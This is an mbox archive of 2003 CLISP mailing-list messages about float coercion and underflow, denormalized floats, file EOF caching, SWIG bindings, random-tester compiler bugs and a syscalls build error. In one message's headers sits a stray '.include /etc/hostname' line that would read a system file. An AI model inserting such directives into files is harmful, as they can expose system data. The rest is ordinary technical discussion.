LEAST-POSITIVE-SINGLE-FLOAT. This means underflow, right? > [1]> (lisp-implementation-version) > "2.31 (released 2003-09-01) (built 3275820501) (memory 3275821131)" > [2]> least-positive-short-float > 2.93874s-39 > [3]> (coerce * 'single-float) > > *** - floating point underflow > 1. Break [4]> > [5]> (ext:without-package-lock ("SYSTEM") > (setf system::*inhibit-floating-point-underflow* t)) > T see > [6]> least-positive-short-float > 2.93874s-39 > [7]> (coerce * 'single-float) > 0.0 I am confused. I have no idea what is going on. (/ (float least-positive-short-float 1d0) (float least-positive-single-float 1d0)) ==> 0.25 (/ (float most-positive-short-float 1d0) (float most-positive-single-float 1d0)) ==> 0.5 (/ (float short-float-epsilon 1d0) (float single-float-epsilon 1d0)) ==> 128 this means that even though short floats have 7 fewer bits of precision, they manage to cover _more_ of the real line (twice as much)! how could this be? I hope Bruno will bring clarity here... -- Sam Steingold (http://www.podval.org/~sds) running w2k Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. From toy@rtp.ericsson.se Thu Oct 23 20:04:09 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ACsFF-00079b-00 for ; Thu, 23 Oct 2003 20:04:09 -0700 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1ACsAQ-0001lw-LU for clisp-list@lists.sourceforge.net; Thu, 23 Oct 2003 19:59:10 -0700 Received: from imr1.ericy.com ([198.24.6.9]:43016) by externalmx.vasoftware.com with esmtp (Exim 4.22 #1 (Debian)) id 1ACQcT-0006mt-PB for ; Wed, 22 Oct 2003 14:34:17 -0700 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id h9MLXv4S028344; Wed, 22 Oct 2003 16:33:57 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id VNQD37Y4; Wed, 22 Oct 2003 16:33:11 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id h9MLXsr03341; Wed, 22 Oct 2003 16:33:55 -0500 (CDT) To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: Re: [clisp-list] Re: short float coercion References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Wed, 22 Oct 2003 16:29:01 -0400") Message-ID: <4n65ih9cu5.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-EA-Verified: externalmx.vasoftware.com 1ACQcT-0006mt-PB 5934d5a770b510c3cef1941dedff1243 X-Spam-Score: -0.1 (/) .include /etc/hostname X-Spam-Score-Int: -1 X-Spam-Score: -1.1 (-) X-Spam-Report: -1.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) MAILTO_TO_SPAM_ADDR (0.4 points) URI: Includes a link to a likely spammer email address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 23 20:05:08 2003 X-Original-Date: Wed, 22 Oct 2003 17:33:54 -0400 >>>>> "Sam" == Sam Steingold writes: >> * Christophe Rhodes [2003-10-22 17:19:01 +0100]: >> >> The following demonstrates, if not an outright bug, at least a >> suboptimality in float coercion. I understand where it's coming from, >> I guess, but it's quite undesireable to get 0.0 out at the end... is >> there any chance of this being fixed to "do what I mean"? Sam> You are trying to coerce to SINGLE-FLOAT a number which is smaller than Sam> LEAST-POSITIVE-SINGLE-FLOAT. This means underflow, right? Yes, I think so. I notice that least-positive-single-float and least-positive-normalized-single-float are the same value, and corresponds to the normalized value on IEEE FP. Is that intended? You don't support unnormalized floats? Ray From bruno@clisp.org Fri Oct 24 05:19:10 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AD0uM-00036d-00 for ; Fri, 24 Oct 2003 05:19:10 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AD0s0-0005bI-IP for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 05:16:44 -0700 Received: from reuilly.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with SMTP id h9OCGVev027919; Fri, 24 Oct 2003 14:16:42 +0200 (MET DST) Received: from laposte.ilog.fr ([172.17.1.6]) by reuilly.ilog.fr (SAVSMTP 3.1.1.32) with SMTP id M2003102414065829298 ; Fri, 24 Oct 2003 14:06:58 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h9OCGfG19273; Fri, 24 Oct 2003 14:16:41 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 4CADF37A8A; Fri, 24 Oct 2003 12:15:27 +0000 (UTC) From: Bruno Haible To: Raymond Toy , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: short float coercion User-Agent: KMail/1.5 References: <4n65ih9cu5.fsf@edgedsp4.rtp.ericsson.se> In-Reply-To: <4n65ih9cu5.fsf@edgedsp4.rtp.ericsson.se> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200310241415.26395.bruno@clisp.org> X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 24 05:20:05 2003 X-Original-Date: Fri, 24 Oct 2003 14:15:26 +0200 Raymond Toy wrote: > I notice that least-positive-single-float and > least-positive-normalized-single-float are the same value, and > corresponds to the normalized value on IEEE FP. Is that intended? > You don't support unnormalized floats? Right. CLISP by design returns the same floating point results on all platforms (to reduce portability problems). Therefore it has a floating-point emulation built in for platforms that don't support IEEE FP. And I didn't spend time on unnormalized floats and various types of NaNs that are not generally useful: - When you got a NaN in your program, your program is broken. As a developer, one then ususally spends time determining where the NaN came from. It's better to signal an error in this case. - When you got unnormalized floats in your program, your results will have a greatly reduced accuracy anyway. Since clisp has the means to cope with this - LONG-FLOATs of variable precision - it doesn't need to support unnormalized floats. Bruno From bruno@clisp.org Fri Oct 24 06:16:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AD1nd-0007RQ-00 for ; Fri, 24 Oct 2003 06:16:18 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AD0ma-0004Vg-Na for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 05:11:08 -0700 Received: from reuilly.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with SMTP id h9OCAoer027748; Fri, 24 Oct 2003 14:10:50 +0200 (MET DST) Received: from laposte.ilog.fr ([172.17.1.6]) by reuilly.ilog.fr (SAVSMTP 3.1.1.32) with SMTP id M2003102414010629234 ; Fri, 24 Oct 2003 14:01:06 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h9OCAnG18468; Fri, 24 Oct 2003 14:10:49 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id B4BE337A8A; Fri, 24 Oct 2003 12:09:35 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200310241409.34798.bruno@clisp.org> X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Subject: [clisp-list] Re: short float coercion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 24 06:17:03 2003 X-Original-Date: Fri, 24 Oct 2003 14:09:34 +0200 Sam Steingold wrote: > (/ (float least-positive-short-float 1d0) > (float least-positive-single-float 1d0)) > ==> 0.25 > > (/ (float most-positive-short-float 1d0) > (float most-positive-single-float 1d0)) > ==> 0.5 > > (/ (float short-float-epsilon 1d0) (float single-float-epsilon 1d0)) > ==> 128 > > this means that even though short floats have 7 fewer bits of > precision, they manage to cover _more_ of the real line (twice as much)! > > how could this be? The SINGLE-FLOAT in-memory format in clisp follows IEEE 754, which reserves one particular exponent value for Infinitys and NaNs. Since clisp doesn't support these beasts, neither in SINGLE-FLOAT nor in SHORT-FLOAT, it means that one of the 255 possible exponents in the SINGLE-FLOAT format is wasted. The SHORT-FLOAT format is specific to clisp, not adhering to any standard, and therefore doesn't need to waste one of the 255 possible exponents. Bruno From csr21@cam.ac.uk Fri Oct 24 06:35:33 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AD26H-0000Ez-00 for ; Fri, 24 Oct 2003 06:35:33 -0700 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AD0Xl-0002VS-Hg for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 04:55:49 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.20) id 1AD0Xe-00069y-64; Fri, 24 Oct 2003 12:55:42 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1AD0Xc-0007aM-00; Fri, 24 Oct 2003 12:55:40 +0100 To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: Re: [clisp-list] Re: short float coercion References: From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "Wed, 22 Oct 2003 16:29:01 -0400") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ X-Cam-AntiVirus: No virus found X-Cam-SpamDetails: Not scanned Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 24 06:36:04 2003 X-Original-Date: Fri, 24 Oct 2003 12:55:40 +0100 Sam Steingold writes: >> * Christophe Rhodes [2003-10-22 17:19:01 +0100]: >> >> The following demonstrates, if not an outright bug, at least a >> suboptimality in float coercion. I understand where it's coming from, >> I guess, but it's quite undesireable to get 0.0 out at the end... is >> there any chance of this being fixed to "do what I mean"? > > You are trying to coerce to SINGLE-FLOAT a number which is smaller than > LEAST-POSITIVE-SINGLE-FLOAT. This means underflow, right? I'm so sorry -- I completely missed this. You're quite right, in pure Common Lisp terms. I was expecting that least-positive-single-float would be the IEEE value for the least positive single float, not just the least positive normalized single float, but there's no reason that that should be the case. (I don't know why you'd do it this way, but I'm perfectly willing to believe that there are legitimate reasons for doing so :-). Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From don-sourceforge@isis.cs3-inc.com Fri Oct 24 14:49:05 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AD9ns-0007wV-00 for ; Fri, 24 Oct 2003 14:49:05 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AD9in-0008Iz-UU for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 14:43:50 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h9OLmda23366 for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 14:48:39 -0700 Message-Id: <200310242148.h9OLmda23366@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] eof caching Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 24 14:50:20 2003 X-Original-Date: Fri, 24 Oct 2003 14:48:39 -0700 using two different clisp processes I do this: clisp 1 clisp 2 open file for append open same file for read write to file read file until I get eof (before new data) close file At this point I might hope to do another read in clisp 2 but I still get eof. However, if I set file-position back one then I can read not only the last old character but also the new data. This was with buffered character file streams, though I don't know whether that matters. Anyone know (or have opinions on) how this stuff ought to work? From jimka@rdrop.com Fri Oct 24 18:59:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ADDho-0004Zc-00 for ; Fri, 24 Oct 2003 18:59:04 -0700 Received: from mx02.qsc.de ([213.148.130.14]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ADDbt-0000Yi-Oo for clisp-list@lists.sourceforge.net; Fri, 24 Oct 2003 18:52:57 -0700 Received: from port-212-202-73-104.reverse.qsc.de ([212.202.73.104] helo=rdrop.com) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1ADDbg-0000hv-00; Sat, 25 Oct 2003 03:52:44 +0200 Message-ID: <3F99CB63.6090004@rdrop.com> From: Jim Newton User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: jimka@rdrop.com References: <3F9974C6.9080204@cadence.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: index.html Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 24 19:00:02 2003 X-Original-Date: Sat, 25 Oct 2003 03:01:23 +0200 There is a piece of software call SWIG http://www.swig.org which apparently allows people to easily port C++ code to lots of object oriented (and non-OO) languages. I was disapointed to find that lisp is not in the list of supported languages. Why not? I'm currently getting more and more involved in a openAccess www.openeda.org which provides an open source implementation of a data base that will soon become the industry standard for EDA work. The C++ API is ready to use, and people are writing interfaces to lots of languages: Python, Ruby, Tcl. I'd love to see CLISP on the list of supported languages for openAccess, as I believe the CLOS system to be much nicer and more powerful than the object system provided by Java and Python, not to mention more performant. Is there any interest currently in providing CLISP support for SWIG? or for openAccess for that matter? thanks. ( i hope your respond) -jim Sam Steingold wrote: > Hi Jim, > > >>I found your name on the www.clisp.org page. I wonder if you might be >>able to answer a few questions for me. > > > is the right place to ask these questions. > > >>There is a piece of software call SWIG http://www.swig.org which >>apparently allows people to easily port C++ code to lots of object >>oriented (and non-OO) languages. I was disapointed to find that lisp >>is not in the list of supported languages. Why not? > > > > please go ahead and add CLISP support - it should not be too hard, just > a matter of some time investment. > From lisp-clisp-list@m.gmane.org Sun Oct 26 04:05:51 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ADjeZ-0007Mi-00 for ; Sun, 26 Oct 2003 04:05:51 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ADjd7-00050Q-9N for clisp-list@lists.sourceforge.net; Sun, 26 Oct 2003 04:04:21 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1ADjd5-0003dn-00 for ; Sun, 26 Oct 2003 13:04:19 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1ADjd4-0003df-00 for ; Sun, 26 Oct 2003 13:04:18 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1ADjd4-0001nD-00 for ; Sun, 26 Oct 2003 13:04:18 +0100 From: "Paul F. Dietz" Lines: 48 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] (random tester) Compiler bug in OPTIMIZE-LABEL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 26 04:06:11 2003 X-Original-Date: Sun, 26 Oct 2003 06:07:46 -0600 The gcl random tester has found the following compiler bug in clisp (cvs head, built 1 Oct 2003). The test case has been automatically simplified. [1]> (funcall (compile nil '(lambda (a c) (if (or (ldb-test (byte 12 18) a) (not (and t (not (if (not (and c t)) nil nil))))) 170 -110730))) 3035465333 1919088834) - Compiler bug!! Occurred in OPTIMIZE-LABEL. *** 1. Break [2]> backtrace <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 2 <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # <21> # <22> # EVAL frame for form (FUNCALL (COMPILE NIL '(LAMBDA (A C) (IF (OR (LDB-TEST (BYTE 12 18) A) (NOT (AND T (NOT (IF (NOT (AND C T)) NIL NIL))))) 170 -110730))) 3035465333 1919088834) Printed 22 frames 1. Break [2]> Paul From lisp-clisp-list@m.gmane.org Sun Oct 26 18:59:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1ADxbA-0008EA-00 for ; Sun, 26 Oct 2003 18:59:16 -0800 Received: from [80.91.224.249] (helo=main.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ADxZy-0002sW-T3 for clisp-list@lists.sourceforge.net; Sun, 26 Oct 2003 18:58:03 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1ADxZW-00004u-00 for ; Mon, 27 Oct 2003 03:57:34 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1ADxZU-0008WS-00 for ; Mon, 27 Oct 2003 03:57:32 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1ADxZU-0003ap-00 for ; Mon, 27 Oct 2003 03:57:32 +0100 From: "Paul F. Dietz" Lines: 47 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] (random tester) Compiler bug: CAR: #:Gxxxx is not a LIST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 26 19:00:02 2003 X-Original-Date: Sun, 26 Oct 2003 21:01:03 -0600 Another bug detected by the gcl random tester. I've modified the random lambda form generator to increase the probability of producing AND, OR, NOT, and IF forms in places where true/false values are wanted. This test case appeared after only about 15K iterations, much faster than the previous MTBF of about 3M tests. This test has been simplified. [4]> (compile nil '(lambda (a b) (unwind-protect (block b2 (flet ((%f1 nil b)) (logior (if a (if (ldb-test (byte 23 1) 253966182) (return-from b2 a) -103275090) 62410) (if (not (not (if (not nil) t (ldb-test (byte 2 27) 253671809)))) (return-from b2 -22) (%f1) ))))))) *** - CAR: #:G335 is not a LIST 1. Break [5]> backtrace <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # Printed 20 frames Paul From tfb@OCF.Berkeley.EDU Mon Oct 27 17:20:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEIWw-0007YV-00 for ; Mon, 27 Oct 2003 17:20:18 -0800 Received: from war.ocf.berkeley.edu ([192.58.221.244]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEIWC-0004Ne-BD for clisp-list@lists.sourceforge.net; Mon, 27 Oct 2003 17:19:32 -0800 Received: from firestorm.OCF.Berkeley.EDU (daemon@firestorm.OCF.Berkeley.EDU [192.58.221.200]) by war.OCF.Berkeley.EDU (8.12.10/8.9.3) with ESMTP id h9S1JQVE012756 for ; Mon, 27 Oct 2003 17:19:26 -0800 (PST) Received: (from tfb@localhost) by firestorm.OCF.Berkeley.EDU (8.11.7/8.10.2) id h9S1JPr09206; Mon, 27 Oct 2003 17:19:25 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> To: CLISP Users List X-Mailer: VM 6.90 under Emacs 20.7.1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Trying to build with syscalls support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 27 17:21:14 2003 X-Original-Date: Mon, 27 Oct 2003 17:19:25 -0800 I'm trying to compile a clisp with the syscalls module, so I can use posix:stream-lock instead of the gross hack I currently use, but compiling 2.31 on Linux/x86 dies. I must be doing something wrong, because I'd imagine this would be the most tested platform. It dies here: myclient@work-machine:/tmp/build/clisp-2.31 > uname -a Linux work-machine 2.4.4-64GB-SMP #1 SMP Fri May 18 14:54:08 GMT 2001 i686 unknown myclient@work-machine:/tmp/build/clisp-2.31 > gcc --version 2.95.3 myclient@work-machine:/tmp/build/clisp-2.31 > ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient ... calls.c: In function `C_subr_posix_file_stat': calls.c:553: parse error before `file' calls.c:556: `file' undeclared (first use in this function) calls.c:556: (Each undeclared identifier is reported only once calls.c:556: for each function it appears in.) calls.c:557: warning: left-hand operand of comma expression has no effect calls.c:561: `buf' undeclared (first use in this function) calls.c:578: warning: left-hand operand of comma expression has no effect make[1]: *** [calls.o] Error 1 make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls' make: *** [syscalls] Error 2 -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From sds@alphatech.com Tue Oct 28 04:57:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AETPG-0004a6-00 for ; Tue, 28 Oct 2003 04:57:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AETOV-0004CV-Fy for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 04:56:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9SCuD122715 for ; Tue, 28 Oct 2003 07:56:13 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: 